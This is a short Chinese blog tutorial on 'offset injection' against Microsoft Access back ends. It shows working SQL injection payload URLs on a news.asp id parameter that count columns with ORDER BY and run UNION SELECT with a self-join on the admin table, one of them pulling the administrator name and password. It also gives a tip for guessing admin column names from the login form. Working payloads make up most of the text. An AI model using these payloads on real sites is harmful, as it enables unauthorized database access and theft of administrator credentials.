access 偏移注入 案例

news.asp?id=3039 and 4>8 union select 1,2,3,4,* from manage_admin as a inner join manage_admin as b on a.id=b.id

看个案例就明白是什么意思了

先是背景

news.asp?id=3306 存在注入

然后通过 order by 可知查询返回 12 列

通过数据表字典跑出管理员表 manage_admin,但是无论如何也跑不出字段名

好,背景介绍完毕


接下来通过 order by 查询manage_admin 一共有多少字段

4返回正常,5返回错误,所以manage_admin 一共有4个字段。

2x4<12 当然等于也可以。

news.asp?id=3039 and 4>8 union select 1,2,3,4,* from manage_admin as a inner join manage_admin as b on a.id=b.id


案例讲完了,来分析一下sql语法,看下图w3school的解释。

as 关键字则是为数据表取别名。

最后利用 union 联合查询获取数据。

这也是偏移注入的原理,可在不知道字段名的情况下查询数据。

ps:这是彩笔的理解,不一定正确。


另外,关于猜解管理员表字段名这里有个技巧,一般与通过后台登录表单的输入框名称同名,本案例中就是这样。

news.asp?id=3039 and 5>9 UNION SELECT 1,userpassword,3,4,5,6,admin,8,9,10,11,12 from manage_admin


纳尼,这就是偏移注入,其实偏移注入也可以用来猜解数据表一共有多少字段。


news.asp?id=3039 and 4>8 union select 1,2,3,4,5,6,7,8,* from manage_admin //返回正常
<pre name="code" class="plain">news.asp?id=3039 and 4>8 union select 1,2,3,4,5,6,7,8,9,* from manage_admin //返回错误

 

说明表manage_admin 有4个字段(12-8)


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值